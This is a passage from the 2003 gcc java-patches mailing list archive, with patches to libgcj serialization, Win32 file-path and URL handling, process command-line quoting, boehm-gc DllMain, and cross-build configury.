drain (); + flush (); realOutput.close (); } @@ -723,7 +740,7 @@ */ public void writeBoolean (boolean data) throws IOException { - dataOutput.writeBoolean (data); + blockDataOutput.writeBoolean (data); } @@ -732,7 +749,7 @@ */ public void writeByte (int data) throws IOException { - dataOutput.writeByte (data); + blockDataOutput.writeByte (data); } @@ -741,7 +758,7 @@ */ public void writeShort (int data) throws IOException { - dataOutput.writeShort (data); + blockDataOutput.writeShort (data); } @@ -750,7 +767,7 @@ */ public void writeChar (int data) throws IOException { - dataOutput.writeChar (data); + blockDataOutput.writeChar (data); } @@ -759,7 +776,7 @@ */ public void writeInt (int data) throws IOException { - dataOutput.writeInt (data); + blockDataOutput.writeInt (data); } @@ -768,7 +785,7 @@ */ public void writeLong (long data) throws IOException { - dataOutput.writeLong (data); + blockDataOutput.writeLong (data); } @@ -777,7 +794,7 @@ */ public void writeFloat (float data) throws IOException { - dataOutput.writeFloat (data); + blockDataOutput.writeFloat (data); } @@ -786,7 +803,7 @@ */ public void writeDouble (double data) throws IOException { - dataOutput.writeDouble (data); + blockDataOutput.writeDouble (data); } @@ -795,7 +812,7 @@ */ public void writeBytes (String data) throws IOException { - dataOutput.writeBytes (data); + blockDataOutput.writeBytes (data); } @@ -965,6 +983,8 @@ { ObjectStreamField field = currentObjectStreamClass.getField (name); + if (field == null) + throw new IllegalArgumentException (); if (value != null && ! field.getType ().isAssignableFrom (value.getClass ())) throw new IllegalArgumentException (); @@ -976,11 +996,11 @@ // Apparently Block data is not used with PutField as per // empirical evidence against JDK 1.2. Also see Mauve test // java.io.ObjectInputOutput.Test.GetPutField. - setBlockDataMode (false); + boolean oldmode = setBlockDataMode (false); out.write (prim_field_data); for (int i = 0; i < objs.length; ++ i) out.writeObject (objs[i]); - setBlockDataMode (true); + setBlockDataMode (oldmode); } private void checkType (ObjectStreamField field, char type) @@ -1067,8 +1087,7 @@ { byte[] cast_array = (byte[])array; realOutput.writeInt (length); - for (int i=0; i < length; i++) - realOutput.writeByte (cast_array[i]); + realOutput.write(cast_array, 0, length); return; } if (clazz == Character.TYPE) @@ -1142,9 +1161,11 @@ setBlockDataMode (true); callWriteMethod (obj); setBlockDataMode (false); + realOutput.writeByte (TC_ENDBLOCKDATA); return; } + boolean oldmode = setBlockDataMode (false); String field_name; Class type; for (int i=0; i < fields.length; i++) @@ -1170,20 +1191,28 @@ realOutput.writeShort (getShortField (obj, field_name)); else writeObject (getObjectField (obj, field_name, - TypeSignature.getEncodingOfClass (type))); + fields[i].getTypeString ())); } + setBlockDataMode(oldmode); } // Toggles writing primitive data to block-data buffer. - private void setBlockDataMode (boolean on) + private boolean setBlockDataMode (boolean on) throws IOException { + if (on == writeDataAsBlocks) + return on; + + drain(); + boolean oldmode = writeDataAsBlocks; writeDataAsBlocks = on; if (on) dataOutput = blockDataOutput; else dataOutput = realOutput; + + return oldmode; } @@ -1355,16 +1384,22 @@ } } - private static native Field getField (Class klass, String name) - throws java.lang.NoSuchFieldException; - - private static native Method getMethod (Class klass, String name, Class[] args) - throws java.lang.NoSuchMethodException; - + private static Field getField (Class klass, String name) + throws java.lang.NoSuchFieldException + { + return klass.getDeclaredField(name); + } + + private static Method getMethod (Class klass, String name, Class[] args) + throws java.lang.NoSuchMethodException + { + return klass.getDeclaredMethod(name, args); + } + // this value comes from 1.2 spec, but is used in 1.1 as well private final static int BUFFER_SIZE = 1024; - private static int defaultProtocolVersion = PROTOCOL_VERSION_1; + private static int defaultProtocolVersion = PROTOCOL_VERSION_2; private DataOutputStream dataOutput; private boolean writeDataAsBlocks; @@ -1382,4 +1417,12 @@ private Hashtable OIDLookupTable; private int protocolVersion; private boolean useSubclassMethod; + + static + { + if (Configuration.INIT_LOAD_LIBRARY) + { + System.loadLibrary ("javaio"); + } + } } Index: java/io/ObjectStreamField.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectStreamField.java,v retrieving revision 1.2 diff -u -r1.2 ObjectStreamField.java --- java/io/ObjectStreamField.java 22 Jan 2002 22:40:14 -0000 1.2 +++ java/io/ObjectStreamField.java 23 Feb 2003 15:55:38 -0000 @@ -47,8 +47,23 @@ { this.name = name; this.type = type; + this.typename = TypeSignature.getEncodingOfClass(type); } - + + /** + * There're many cases you can't get java.lang.Class from typename if your context + * class loader can't load it, then use typename to construct the field + */ + ObjectStreamField (String name, String typename){ + this.name = name; + this.typename = typename; + try{ + type = TypeSignature.getClassForEncoding(typename); + }catch(ClassNotFoundException e){ + type = Object.class; //?? + } + } + public String getName () { return name; @@ -61,12 +76,13 @@ public char getTypeCode () { - return TypeSignature.getEncodingOfClass (type).charAt (0); + return typename.charAt (0); } public String getTypeString () { - return TypeSignature.getEncodingOfClass (type); + // use intern() + return typename.intern(); } public int getOffset () @@ -106,5 +122,6 @@ private String name; private Class type; + private String typename; private int offset = -1; // XXX make sure this is correct } Index: java/io/natObjectInputStream.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natObjectInputStream.cc,v retrieving revision 1.5 diff -u -r1.5 natObjectInputStream.cc --- java/io/natObjectInputStream.cc 9 Dec 2001 00:17:07 -0000 1.5 +++ java/io/natObjectInputStream.cc 23 Feb 2003 15:55:38 -0000 @@ -69,16 +69,3 @@ + m->offset); _Jv_CallAnyMethodA (obj, JvPrimClass (void), meth, false, arg_types, NULL); } - -java::lang::reflect::Field * -java::io::ObjectInputStream::getField (jclass klass, jstring name) -{ - return klass->getPrivateField (name); -} - -java::lang::reflect::Method * -java::io::ObjectInputStream::getMethod (jclass klass, jstring name, - JArray *arg_types) -{ - return klass->getPrivateMethod (name, arg_types); -} Index: java/io/natObjectOutputStream.cc =================================================================== RCS file: java/io/natObjectOutputStream.cc diff -N java/io/natObjectOutputStream.cc --- java/io/natObjectOutputStream.cc 19 May 2000 17:55:31 -0000 1.1 +++ /dev/null 1 Jan 1970 00:00:00 -0000 @@ -1,33 +0,0 @@ -// natObjectOutputStream.cc - Native part of ObjectOutputStream class. - -/* Copyright (C) 1998, 1999 Free Software Foundation - - This ObjectOutputStream is part of libgcj. - -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the ObjectOutputStream "LIBGCJ_LICENSE" for -details. */ - -#include - -#include -#include -#include -#include -#include -#include - - -java::lang::reflect::Field * -java::io::ObjectOutputStream::getField (jclass klass, jstring name) -{ - return klass->getPrivateField (name); -} - -java::lang::reflect::Method * -java::io::ObjectOutputStream::getMethod (jclass klass, jstring name, - JArray *arg_types) -{ - return klass->getPrivateMethod (name, arg_types); -} - --=-W/Sjo/MoKaSesvmGUkql-- From java-patches-return-6254-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 16:25:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3143 invoked by alias); 23 Feb 2003 16:25:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3134 invoked from network); 23 Feb 2003 16:25:40 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 23 Feb 2003 16:25:40 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18mywT-00012t-00 for ; Sun, 23 Feb 2003 17:25:29 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18mywS-00012k-00 for ; Sun, 23 Feb 2003 17:25:28 +0100 From: Ranjit Mathew Subject: Patch: File.toURL() and URLStreamHandler.parseURL() fixes Date: Sun, 23 Feb 2003 21:57:51 +0530 Lines: 167 Message-ID: <3E58F687.6FE1892E@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Hi, As promised earlier, this is a fuller patch for the URL parsing problems in libgcj w.r.t. Win32. In the process, I found a problem with File.isAbsolute( ) which affected the generated URLs on Win32 - on Win32, a path is not absolute even if it starts with a '\' as the drive specifier needs to be prefixed. For example, "\temp" could mean either "c:\temp" or "d:\temp" or whatever, depending on the current working directory of the user. This is also consistent with Sun's JDK. I have made File.toURL( ) more consistent with the URLs emitted by Sun's JDK - the URLs are like "file:/c:/foo/bar.txt" on Win32 and "file:/foo/bar.txt" on UNIX. (Tested with Sun's JDK 1.3.1 on Solaris 2.6 and JDK 1.4.1 on Win98.) Finally, according to the JDK docs, if a relative path is used with a context URL, it should be canonicalised - check the JDK 1.4.1 docs for URL( URL context, String spec). After this patch, the output of GCJ matches that of Sun's JDK for a large number of cases, at least on Win98 and with Sun's JDK 1.4.1. It also solves the original problem reported by Erik about loading and reading a property file using getResourceAsStream( ) of the system ClassLoader. Ranjit. Index: ChangeLog from Ranjit Mathew * java/io/File (getAbsolutePath): Prefix drive specifier on Windows for paths starting with a '\'. (toURL): Make URL more consistent with what Sun's JDK returns. * java/io/natFileWin32.cc (java::io::File::isAbsolute): Return true only if the path is a UNC network path or it starts with a drive specifier. * java/net/URLStreamHandler.java (parseURL): Correct minor typo. Be prepared to handle either '/' or '\\' in the file path for Windows if using the "file" protocol. Canonicalise the file path if using a relative path in the given context and the "file" protocol. Index: java/io/File.java =================================================================== --- java/io/File.java 2003-02-23 16:35:53.000000000 +0530 +++ java/io/File.java 2003-02-23 20:49:49.000000000 +0530 @@ -1,5 +1,5 @@ // File.java - File name -/* Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation +/* Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. This file is part of libgcj. @@ -159,5 +159,14 @@ if (isAbsolute ()) return path; - return System.getProperty("user.dir") + separatorChar + path; + else if (separatorChar == '\\' + && path.length () > 0 && path.charAt (0) == '\\') + { + // On Windows, even if the path starts with a '\\' it is not + // really absolute until we prefix the drive specifier from + // the current working directory to it. + return System.getProperty ("user.dir").substring (0, 2) + path; + } + else + return System.getProperty ("user.dir") + separatorChar + path; } @@ -290,6 +299,12 @@ public URL toURL () throws MalformedURLException { - return new URL ("file://" + getAbsolutePath () - + (isDirectory() ? "/" : "")); + // On Win32, Sun's JDK returns URLs of the form "file:/c:/foo/bar.txt", + // while on UNIX, it returns URLs of the form "file:/foo/bar.txt". + if (separatorChar == '\\') + return new URL ("file:/" + getAbsolutePath ().replace ('\\', '/') + + (isDirectory() ? "/" : "")); + else + return new URL ("file:" + getAbsolutePath () + + (isDirectory() ? "/" : "")); } Index: java/io/natFileWin32.cc =================================================================== --- java/io/natFileWin32.cc 2003-02-23 20:06:26.000000000 +0530 +++ java/io/natFileWin32.cc 2003-02-23 20:49:20.000000000 +0530 @@ -120,7 +120,12 @@ java::io::File::isAbsolute (void) { - if (path->length() > 0 - && (path->charAt(0) == '/' || path->charAt(0) == '\\')) + // See if the path represents a Windows UNC network path. + if (path->length () > 1 + && (path->charAt (0) == '\\') && (path->charAt (1) == '\\')) return true; + + // Note that the path is not an absolute path even if it starts with + // a '/' or a '\' because it lacks a drive specifier. + if (path->length() < 3) return false; Index: java/net/URLStreamHandler.java =================================================================== --- java/net/URLStreamHandler.java 2003-02-19 00:33:08.000000000 +0530 +++ java/net/URLStreamHandler.java 2003-02-23 21:19:27.000000000 +0530 @@ -1,4 +1,4 @@ /* URLStreamHandler.java -- Abstract superclass for all protocol handlers - Copyright (C) 1998, 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -40,4 +40,5 @@ import java.io.IOException; +import java.io.File; /* @@ -113,5 +114,5 @@ * syntax should override this method. The lone exception is that if * the protocol name set in the URL is "file", this method will accept - * a an empty hostname (i.e., "file:///"), which is legal for that protocol + * an empty hostname (i.e., "file:///"), which is legal for that protocol * * @param url The URL object in which to store the results @@ -177,6 +178,30 @@ { // Context is available, but only override it if there is a new file. - file = file.substring(0, file.lastIndexOf('/')) - + '/' + spec.substring(start, end); + char sepChar = '/'; + int lastSlash = file.lastIndexOf (sepChar); + if (lastSlash < 0 && File.separatorChar != sepChar + && url.getProtocol ().equals ("file")) + { + // On Windows, even '\' is allowed in a "file" URL. + sepChar = File.separatorChar; + lastSlash = file.lastIndexOf (sepChar); + } + + file = file.substring(0, lastSlash) + + sepChar + spec.substring (start, end); + + if (url.getProtocol ().equals ("file")) + { + // For "file" URLs constructed relative to a context, we + // need to canonicalise the file path. + try + { + file = new File (file).getCanonicalPath (); + } + catch (IOException e) + { + } + } + ref = null; } From java-patches-return-6255-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 16:45:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7821 invoked by alias); 23 Feb 2003 16:45:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7814 invoked from network); 23 Feb 2003 16:45:06 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 23 Feb 2003 16:45:06 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1NGj5C08268 for ; Sun, 23 Feb 2003 10:45:05 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sun, 23 Feb 2003 10:45:06 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: <09XT7TNUP9531G73GA3YMK85FBJDSM.3e58fa92@p733> Subject: Patch for Preview: Escape DllMain in boehm-gc MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Ranjit, Here is an attempt at the patch for this issue: http://gcc.gnu.org/ml/java/2003-02/msg00291.html >From the messages, it seemed that all I had to do was the #ifdef. Is more needed? Can you give your seal of approval (or disdain)? -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-02-23 Mohan Embar * win32_threads.c: Add #ifdef GC_DLL around DllMain Index: win32_threads.c =================================================================== RCS file: /cvsroot/gcc/gcc/boehm-gc/win32_threads.c,v retrieving revision 1.12 diff -u -2 -r1.12 win32_threads.c --- win32_threads.c 24 Sep 2002 00:59:52 -0000 1.12 +++ win32_threads.c 22 Feb 2003 03:44:51 -0000 @@ -528,4 +528,6 @@ LONG WINAPI GC_write_fault_handler(struct _EXCEPTION_POINTERS *exc_info); +#ifdef GC_DLL + /* * This isn't generally safe, since DllMain is not premptible. @@ -635,4 +637,6 @@ return TRUE; } + +# endif /* GC_DLL */ # endif /* !MSWINCE */ From java-patches-return-6256-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 16:50:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8976 invoked by alias); 23 Feb 2003 16:50:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8963 invoked from network); 23 Feb 2003 16:50:27 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 23 Feb 2003 16:50:27 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1NGoQC09034 for ; Sun, 23 Feb 2003 10:50:26 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sun, 23 Feb 2003 10:50:31 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: Subject: Patch for Preview: Cross-Configury Tweaks MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Ranjit, Here is a patch which is essentially your original patch: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00126.html plus the removal of the native build check as per: http://gcc.gnu.org/ml/java/2003-02/msg00174.html which fixes the cross-compilation issue. I took the liberty of putting your name on this and adding one line in the ChangeLog. Can you approve or disapprove this? -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ 2003-01-20 Ranjit Mathew * configure.in: Use "with_cross_host" to check if we are being built with a cross-compiler. Add ac_cv_exeext to the file name used in a native build to check if gcj has been built alongside. Use this gcj only if it is not a crossed-native build, otherwise assume cross-compiling gcj for the target is in the path. Eliminate native build check when building libltdl * configure: Rebuilt. * Makefile.am: Use cross-compiling gcjh from the path for a crossed-native build. * Makefile.in: Rebuilt. Index: Makefile.am =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.264.2.10 diff -u -2 -r1.264.2.10 Makefile.am --- Makefile.am 12 Feb 2003 20:00:03 -0000 1.264.2.10 +++ Makefile.am 23 Feb 2003 15:24:11 -0000 @@ -53,8 +53,9 @@ ## found in the build tree. ZIP = $(MULTIBUILDTOP)../$(COMPPATH)/fastjar/jar +GCJH = gcjh else ZIP = jar +GCJH = $(target_alias)-gcjh endif -GCJH = gcjh else # CANADIAN GCJH = $(MULTIBUILDTOP)../$(COMPPATH)/gcc/gcjh Index: configure.in =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/configure.in,v retrieving revision 1.142.4.6 diff -u -2 -r1.142.4.6 configure.in --- configure.in 20 Feb 2003 09:12:24 -0000 1.142.4.6 +++ configure.in 23 Feb 2003 15:24:38 -0000 @@ -24,16 +24,14 @@ AM_CONFIG_HEADER(include/config.h gcj/libgcj-config.h) -# Only use libltdl for native builds. -if test -z "${with_cross_host}"; then - AC_LIBLTDL_CONVENIENCE - AC_LIBTOOL_DLOPEN - DIRLTDL=libltdl - AC_DEFINE(USE_LTDL) - # Sigh. Libtool's macro doesn't do the right thing. - INCLTDL="-I\$(top_srcdir)/libltdl $INCLTDL" - # FIXME: this is a hack. - sub_auxdir="`cd $ac_aux_dir && ${PWDCMD-pwd}`" - ac_configure_args="$ac_configure_args --with-auxdir=$sub_auxdir" -fi +AC_LIBLTDL_CONVENIENCE +AC_LIBTOOL_DLOPEN +DIRLTDL=libltdl +AC_DEFINE(USE_LTDL) +# Sigh. Libtool's macro doesn't do the right thing. +INCLTDL="-I\$(top_srcdir)/libltdl $INCLTDL" +# FIXME: this is a hack. +sub_auxdir="`cd $ac_aux_dir && ${PWDCMD-pwd}`" +ac_configure_args="$ac_configure_args --with-auxdir=$sub_auxdir" + AC_SUBST(INCLTDL) AC_SUBST(LIBLTDL) @@ -472,5 +470,5 @@ AC_SUBST(gcc_version) -if test "x${with_newlib}" = "xyes"; then +if test -n "${with_cross_host}"; then # We are being configured with a cross compiler. AC_REPLACE_FUNCS # may not work correctly, because the compiler may not be able to @@ -735,7 +733,14 @@ changequote([,]) fi - if test -x "${builddotdot}/../../gcc/gcj"; then - dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" - GCJ="$dir/gcj -B`${PWDCMD-pwd}`/ -B$dir/" + if test -x "${builddotdot}/../../gcc/gcj${ac_cv_exeext}"; then + if test x"$build" = x"$host"; then + dir="`cd ${builddotdot}/../../gcc && ${PWDCMD-pwd}`" + GCJ="$dir/gcj -B`${PWDCMD-pwd}`/ -B$dir/" + else + # Crossed-native build (host=target and host!=build) + CANADIAN=yes + NULL_TARGET=no + GCJ="${target_alias}-gcj -B`${PWDCMD-pwd}`/" + fi else CANADIAN=yes From java-patches-return-6257-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 16:52:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10132 invoked by alias); 23 Feb 2003 16:52:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10125 invoked from network); 23 Feb 2003 16:52:41 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 23 Feb 2003 16:52:41 -0000 Received: from p733 (adsl-66-72-235-163.dsl.milwwi.ameritech.net [66.72.235.163]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h1NGqfC09331 for ; Sun, 23 Feb 2003 10:52:41 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sun, 23 Feb 2003 10:52:44 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: Message-Id: Subject: Patch for Preview: Win32 Process Implementation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Ranjit, >IMO, your patch is partly correct (in putting quotes around >cmdArray arguments) - the other "effects" can equally well be >explained in a different manner, not needing any changes to >GCJ per se. Here is another round at the Win32 Process patch I originally submitted. Does it look okay now? -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ ChangeLog 2003-02-23 Mohan Embar * java/lang/natWin32Process.cc (java::lang::ConcreteProcess::startProcess): double-quote each program array element passed to CreateProcess Index: java/lang/natWin32Process.cc =================================================================== RCS file: /cvsroot/gcc/gcc/libjava/java/lang/natWin32Process.cc,v retrieving revision 1.1.46.1 diff -u -2 -r1.1.46.1 natWin32Process.cc --- java/lang/natWin32Process.cc 10 Feb 2003 23:53:28 -0000 1.1.46.1 +++ java/lang/natWin32Process.cc 23 Feb 2003 15:24:45 -0000 @@ -137,19 +137,20 @@ for (int i = 0; i < progarray->length; ++i) - cmdLineLen += (_Jv_GetStringUTFLength (elts[i]) + 1); + cmdLineLen += (_Jv_GetStringUTFLength (elts[i]) + 3); char *cmdLine = (char *) _Jv_Malloc (cmdLineLen + 1); + char *cmdLineCurPos = cmdLine; - int j = 0; for (int i = 0; i < progarray->length; ++i) { + if (i>0) + *cmdLineCurPos++ = ' '; + *cmdLineCurPos++ = '\"'; jsize s = _Jv_GetStringUTFLength (elts[i]); - _Jv_GetStringUTFRegion (elts[i], 0, s, (cmdLine + j)); - - j += s; - *(cmdLine + j) = ' '; - j++; + _Jv_GetStringUTFRegion (elts[i], 0, s, cmdLineCurPos); + cmdLineCurPos += s; + *cmdLineCurPos++ = '\"'; } - *(cmdLine + j) = '\0'; + *cmdLineCurPos = '\0'; // Get the environment, if any. From java-patches-return-6258-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 18:44:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7284 invoked by alias); 23 Feb 2003 18:44:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7277 invoked from network); 23 Feb 2003 18:44:53 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 23 Feb 2003 18:44:53 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18n17C-0008Ng-00 for ; Sun, 23 Feb 2003 19:44:42 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18n17B-0008NX-00 for ; Sun, 23 Feb 2003 19:44:41 +0100 From: Ranjit Mathew Subject: Patch: jcf-path.c and filename case-insensitivity on Win32 Date: Mon, 24 Feb 2003 00:17:05 +0530 Lines: 77 Message-ID: <3E591729.9FEFF8B1@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Hi, This patch makes jcf-path.c use IS_DIR_SEPARATOR instead of directly comparing against DIR_SEPARATOR. It also makes it compare ZIP and JAR files in a case-insensitive manner if we have a DOS-based filesystem as on Windows. Ranjit. Index: ChangeLog from Ranjit Mathew * jcf-path.c (add_entry): Compare ZIP and JAR files in a case-insensitive way if we have a DOS-based filesystem. Use IS_DIR_SEPARATOR instead of explicit checking against DIR_SEPARATOR. (jcf_path_extdirs_arg): Use IS_DIR_SEPARATOR instead of explicitly checking against DIR_SEPARATOR. Index: jcf-path.c =================================================================== *** jcf-path.c Mon Jan 27 21:43:44 2003 --- jcf-path.c Tue Jan 28 20:28:07 2003 *************** add_entry (entp, filename, is_system) *** 149,154 **** --- 149,160 ---- len = strlen (filename); + + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP) + if (len > 4 && (strcasecmp (filename + len - 4, ".zip") == 0 + || strcasecmp (filename + len - 4, ".jar") == 0)) + #else if (len > 4 && (strcmp (filename + len - 4, ".zip") == 0 || strcmp (filename + len - 4, ".jar") == 0)) + #endif { n->flags |= FLAG_ZIP; *************** add_entry (entp, filename, is_system) *** 157,161 **** --- 163,171 ---- way. Symlinks will fool this test. This is only used for -MM and -MMD, so it probably isn't terribly important. */ + #if defined (HAVE_DOS_BASED_FILE_SYSTEM) && defined (HAVE_STRCASECMP) + if (! strcasecmp (filename, LIBGCJ_ZIP_FILE)) + #else if (! strcmp (filename, LIBGCJ_ZIP_FILE)) + #endif n->flags |= FLAG_SYSTEM; } *************** add_entry (entp, filename, is_system) *** 164,168 **** This is a little hack that lets the searching code in jcf-io.c work more easily. Eww. */ ! if (filename[len - 1] != '/' && filename[len - 1] != DIR_SEPARATOR) { char *f2 = alloca (len + 2); --- 174,178 ---- This is a little hack that lets the searching code in jcf-io.c work more easily. Eww. */ ! if (! IS_DIR_SEPARATOR (filename[len - 1])) { char *f2 = alloca (len + 2); *************** jcf_path_extdirs_arg (cp) *** 379,383 **** + strlen (direntp->d_name) + 2); strcpy (name, buf); ! if (name[dirname_length-1] != DIR_SEPARATOR) { name[dirname_length] = DIR_SEPARATOR; --- 389,393 ---- + strlen (direntp->d_name) + 2); strcpy (name, buf); ! if (! IS_DIR_SEPARATOR (name[dirname_length-1])) { name[dirname_length] = DIR_SEPARATOR; From java-patches-return-6259-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 18:50:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8366 invoked by alias); 23 Feb 2003 18:50:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8359 invoked from network); 23 Feb 2003 18:50:40 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 23 Feb 2003 18:50:40 -0000 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18n1CX-0000CH-00 for ; Sun, 23 Feb 2003 19:50:14 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18n18h-0008Ro-00 for ; Sun, 23 Feb 2003 19:46:15 +0100 From: Ranjit Mathew Subject: Patch: DIR_SEPARATOR usage in jcf-write.c and jcf-io.c Date: Mon, 24 Feb 2003 00:18:42 +0530 Lines: 190 Message-ID: <3E59178A.C188A895@hotmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Hi, This is a resubmission of the DIR_SEPARATOR patch for jcf-io.c and jcf-write.c in the front-end. The last time I had submitted this, it was suggested that we might be able to use something from libiberty instead - AFAICT, the only relevant functions in libiberty seem to be the basename( )/lbasename( ) functions. AFAIK, if we are to use them, the code will still be as "untidy" as this, as they do not directly address the issue we are trying to resolve here. This patch resolves the bug on Win32 where "gcj -C foo\Bar.java" produces the class file in the current directory instead of in "foo" while "gcj -C foo/Bar.java" has the correct behaviour. Ranjit. Index: ChangeLog from Ranjit Mathew * jcf-io.c (caching_stat): Account for both DIR_SEPARATOR and DIR_SEPARATOR_2 for a target. Correct minor typos. * jcf-write.c (make_class_file_name): Take both DIR_SEPARATOR and DIR_SEPARATOR_2 for a target into account. Index: jcf-io.c =================================================================== *** jcf-io.c Mon Jan 27 21:33:40 2003 --- jcf-io.c Mon Jan 27 21:44:30 2003 *************** DEFUN(caching_stat, (filename, buf), *** 344,347 **** --- 344,348 ---- #if JCF_USE_SCANDIR char *sep; + char origsep; char *base; memoized_dirlist_entry *dent; *************** DEFUN(caching_stat, (filename, buf), *** 357,362 **** --- 358,368 ---- /* Get the name of the directory. */ sep = strrchr (filename, DIR_SEPARATOR); + #ifdef DIR_SEPARATOR_2 + if (! sep) + sep = strrchr (filename, DIR_SEPARATOR_2); + #endif if (sep) { + origsep = *sep; *sep = '\0'; base = sep + 1; *************** DEFUN(caching_stat, (filename, buf), *** 365,369 **** base = filename; ! /* Obtain the entry for this directory form the hash table. */ slot = htab_find_slot (memoized_dirlists, filename, INSERT); if (!*slot) --- 371,375 ---- base = filename; ! /* Obtain the entry for this directory from the hash table. */ slot = htab_find_slot (memoized_dirlists, filename, INSERT); if (!*slot) *************** DEFUN(caching_stat, (filename, buf), *** 386,392 **** dent = *((memoized_dirlist_entry **) slot); ! /* Put the spearator back. */ if (sep) ! *sep = DIR_SEPARATOR; /* If the file is not in the list, there is no need to stat it; it --- 392,398 ---- dent = *((memoized_dirlist_entry **) slot); ! /* Put the separator back. */ if (sep) ! *sep = origsep; /* If the file is not in the list, there is no need to stat it; it Index: jcf-write.c =================================================================== *** jcf-write.c Mon Jan 27 